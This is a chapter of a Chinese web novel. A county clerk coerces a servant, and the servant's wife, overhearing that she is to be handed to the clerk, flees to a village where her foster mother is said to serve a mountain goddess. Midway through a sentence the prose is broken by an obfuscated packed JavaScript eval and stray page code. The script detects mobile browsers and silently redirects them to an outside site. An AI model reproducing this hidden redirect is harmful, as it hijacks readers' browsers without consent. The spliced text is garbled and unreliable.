知县姓柳,是个外地人,来惠卫县当了两年官,再有一年就升迁知州,他已经花钱打通关系。如今任期未完,县里冒出个山神娘娘,不知善恶,他担心自己的前程受到影响。
县衙里除了知县,官吏皆当地大族出身,县丞是知县副手,主簿掌管户籍文书,县尉负责征税缉捕盗贼。被问及山神来历,俱茫然摇头。
县丞说:“派人去祥瑞发生之地,一问便知。”
主簿道:“山里有个五虎村,仿佛与五虎山有关系。”
县尉面色迟疑,似乎藏着些心事。
知县问:“你可有话要说?”
县尉只好开口:“我依稀听人讲过山神娘娘,好像是个灵验神仙,竟引得一个吝啬地主烤全猪全羊,抬去山上祭祀。那地主是高家旁支,去年殴打佃农,闹出人命。”
“话不能乱说。”高县丞纠正,“那佃户是自己摔死的。”
“兴许吧。”县尉说,“死者的老母亲失去独子,找我哭,我怜她年迈不易,周济了一回,她时常送菜蔬给我。昨天她来我家做客,跟我妻子聊天时提及娘娘。我忘了是哪位娘娘,总之她给娘娘上香,求娘娘惩治恶人。”
“定是别有用心的江湖术士造谣生事!”高县丞厉声呵斥道,“你大小是个官,听到谣言为何不追查?”
“寻常术士怎有能耐伪造那般盛大的祥瑞?点名何贵芳做神巫的声音响彻云霄,岂会是小人暗中作祟!”主簿信鬼神,对高县丞说,“神明不可不敬,讲话须得注意些。”
知县瞥了一眼主簿和县丞,问县尉:“佃农与地主有怨,怎会拜地主祭祀的神仙?”
“神仙又不是地主家的祖宗,地主拜得,佃农如何拜不得?”主簿说,“县尉大人仔细想一想,去你家中做客的老妇可曾说过娘娘如何灵验?”
“倒是说过邻居丢鸡,找不回,去求了娘娘,次日一早便见到鸡活着回家。也有个邻居进山打猎,失足跌落悬崖,摔断腿,求得娘娘赐了一颗仙丹吃,才活下来,断腿也在半个月内痊愈。”
“乡民没见识,偏听偏信,你也偏听偏信?”高县丞道,“鸡丢了,自己回家有什么出奇的?腿摔断了,没一年半载好不了,半个月能好必是编的!”
县尉不想与他争辩,说:“县尊,我愿往五虎村一探究竟。”
知县没应,看向质疑鬼神的高县丞:“你去,你与高地主是一家,问他为何祭祀山神。”
“我……我父亲生病,我要侍奉汤药!”高县丞心虚,不敢见鬼神。
“你父亲今天不是去喝酒了吗?他何时生的病?”知县惊讶,拍了拍高县丞的肩,“去一趟费不了多少时间。”
“县尊,我明日与他一同去。”主簿说。
“可。”知县微微颔首。
主簿叫陈新志,四十来岁,住在县衙附近。他回到家,一个年轻俊俏的白面男子殷勤地迎上来喊大人,伸手要为他宽衣。
“别碰我!”陈新志警惕地避开他,“我让你回乡下,你还赖在我家作甚?非要我唤来仆从将你赶出去,你才罢休?”
“大人为我某了衙门的差事,我要留下当差的。”白面男子叫赵有田,陈新志厌恶他,他难过地站在旁边,低声说,“我伺候大人那么久,愿献上妻子,大人为何如此无情对我?因为我是男子,所以大人连遣散费都不愿给我?”
“你逛窑子染了花柳病,我怎敢碰你?我可不想死!”陈新志拿起墙角的扫帚驱赶赵有田,怒道,“我给你钱是让你逛窑子睡女人的?得了脏病也不跟我说,若非我眼神好,看出你身上沾了脏东西,将你推开,你怕是要把脏病过到我身上来!”
“我……”赵有田想说话。
陈新志打断他:“滚!你隐瞒脏病伺候我,对我可有半分情意?分明是你这贱/人狼心狗肺在先,你哪来的脸骂我无情?看在你伺候过我的份上,我没当场跟你翻脸,好声好气请你离开,已是给你脸面!结果你给脸不要脸,还敢要遣散费?真惹恼了我,你别说留在县城,便是回到乡下,我也有一百种方法让你活不下去!”
扫帚落在身上很痛,陈新志用了狠劲。
赵有田连忙退后,向陈新志跪下,哭着求道:“大人,我家中贫苦,无钱医治恶疾!求你施舍些银钱,给我条活路,我不想死!”又说,“我妻子相貌姣好,大人是见过的。她仰慕大人多时,愿意伺候大人!此次她来到县城,便是为着大人来的,还请大人怜惜她!”
陈新志皱眉。
被知县叫去时,赵有田确实领了妻子见他。
那女人低着头,显得非常柔顺,抬起脸时蛾眉微微蹙起,似受了委屈无处倾诉,令人心生怜意。
至于赵有田说的仰慕,是半点也没有的,陈新志逗她几句,她一声不吭,性子沉闷。
“大人!救救我!”赵有田心中急切,见陈新志意动,赶紧说,“我已与家里说过,我在衙门做差役,妻子来县城照顾我饮食起居。只要大人点头,今晚她就会为大人伺候枕席!我得病后没碰过她,以后也不碰她!”
“哼,你若敢骗我,我饶不了你!”陈新志轻轻一脚踢在赵有田下巴,命令道,“叫她过来伺候我!趁着天没黑,我需仔细检查她有无恶疾。”
就在这时,细微的动静传来。
两人闻声望去,拐角处出来一只猫,朝他们叫了一声,走到树下,用树干磨爪子。
猫没什么好看的,他们收回目光,却不知道拐角后躲着一个色如死灰的人,正是赵有田的妻子何玉仙。
因赵有田抱怨天气热,她做了解暑的绿豆汤,结果绿豆汤未送给他喝,她先听到他对陈新志说出“愿献上妻子”的话,接着又听到他跟陈新志做的龌龊事,恍惚间,已是惊闻赵有田染上花柳病……
到了现在,她的思绪仍是乱的,一颗心难以平静。
怎么会……
赵有田怎么会是这样歹毒的一个人!
她与他成亲四五年,他很少打她骂她,待她自然是很好的。她为他生下男孩,已经将他视作一辈子的依靠。
去年赵有田说不想种地,跑到城里做工,她变卖嫁妆供他花用。
最近他要钱打点关系,想在衙门某个差使,她厚着脸皮找养母何贵芳讨了十八两银子给他,夫家也借钱凑够五十两,他果真穿着皂隶的衣服风风光光地回乡下。
她以为生活会慢慢好起来。
然而,然而……
何玉仙捂着抽痛的心,泪水滂沱,万念俱灭。
她一边哭,一边端着绿豆汤回厨房,失魂落魄地背着包袱从后门出去,随着行人走到城门口,看城外的大路发呆。
赵有田要她今晚伺候陈新志,她不能留下。
她要回乡下夫家吗?还是回娘家?
都说嫁出去的女儿泼出去的水,养母何贵芳的家,早已不是她的家!而且她问何贵芳要了十八两银子,无钱还,如何有脸去见何贵芳?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679219|173205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
夫家是赵有田的家,婆母是赵有田的娘,她不过是外人,儿子都不跟她亲,回去只会招来叱骂数落。
何玉仙禁不住哭出声来,因天地广阔,无她容身之地。
旁边两个地痞见状,对视一眼,要上前拉走她。
“哎呀,闺女,你咋在这哭?娘知道你委屈,咱们回家说去。”一个老太太蹿出来,横眉怒视两个地痞,抓住何玉仙的胳膊,将她推上牛车,对赶车的说,“人齐了,快走吧!”
自己上了车,搂着何玉仙,老太太哄她:“莫哭坏了眼睛,你把事跟我说清楚,我给你出主意。世上没有过不去的坎,真过不去,咱们求娘娘帮忙!”
说着,老太太掏出手帕给何玉仙擦泪,瞧见她的脸,觉得她眼熟,应该是从前见过的。两个不怀好意的地痞还在看,老太太催促赶车的:“还不走,太阳下山了,回去不得天黑透,要点灯吃饭!”
其余乘客亦急着归家,也催促赶车的出发。
不多时,牛车载着一车人,慢悠悠启程,渐渐远离县城,两个地痞都变成小黑点。
何玉仙哭声小了,老太太问她:“你是哪个村的?我住五虎村,那个有名的药婆是我村里的,山神娘娘也是我们村的神仙。”
老太太是好人。
何玉仙低着头不说话。
老太太便道:“你叫我王阿婆吧,我家里就我一个,你跟我住不会有人说闲话。”
“王阿婆,”立刻有人叫她,“你村里的山神娘娘灵吗?我儿媳妇进门半年,肚里没个动静,我正要找人问问。”
“灵的!中午那声音你又不是没听到,那能是人喊出来的?”王阿婆道,“天上的云霞是咱娘娘显灵,长了眼睛的都能看到,你就说灵不灵吧。”
“你住五虎山下,肯定知道神巫大人吧?”另一个人说,“神巫大人从前是什么人?”
“我忘了谁叫何贵芳了。”王阿婆说。
是我养母,何玉仙心里答道。
她想起何贵芳说过不该同意她嫁给赵有田的话,泪水又涌出来。
王阿婆把手帕塞给她,跟大家聊了一路天。
牛车来到去五虎村的路口,她牵着何玉仙的手下车,两人一起走山路。
“我记起来了,”王阿婆突然说,“你是药婆养的女儿,她叫你玉仙,你几年前嫁给大枣村赵木匠的儿子。”
身份被说出,何玉仙依然闷声不响。
王阿婆好奇地道:“赵木匠他儿子怎么欺负你了?我听说他谋了个官差身份,搬去城里住大房子,赵木匠跟他媳妇四处吹嘘哩。”
害怕她骂自己勾引官老爷陈新志,何玉仙一个字也不肯说。
王阿婆换了个问题:“你娘是不是叫何贵芳?村里只有她和你姓何,你嫁了人,就剩她一个姓何的。”
“嗯。”何玉仙点头。
“哇!”王阿婆睁大眼睛。
她绕到何玉仙面前,为了看何玉仙,不惜倒着走:“你娘当了娘娘座下的神巫大人,你的靠山便是山神娘娘,你男人怎么敢欺负你?你可别告诉我,你男人不知道你娘叫何贵芳。”
“他……我说了,他不信我。”何玉仙其实也不信养母做了神巫,“万一我娘跟神巫大人同名呢?他们都说,神巫大人是男人,不是女的。”
“娘娘是女的,神巫大人为何不是女的?”王阿婆转身,“咱们走快点儿,见到你娘就知道她是不是神巫大人了。”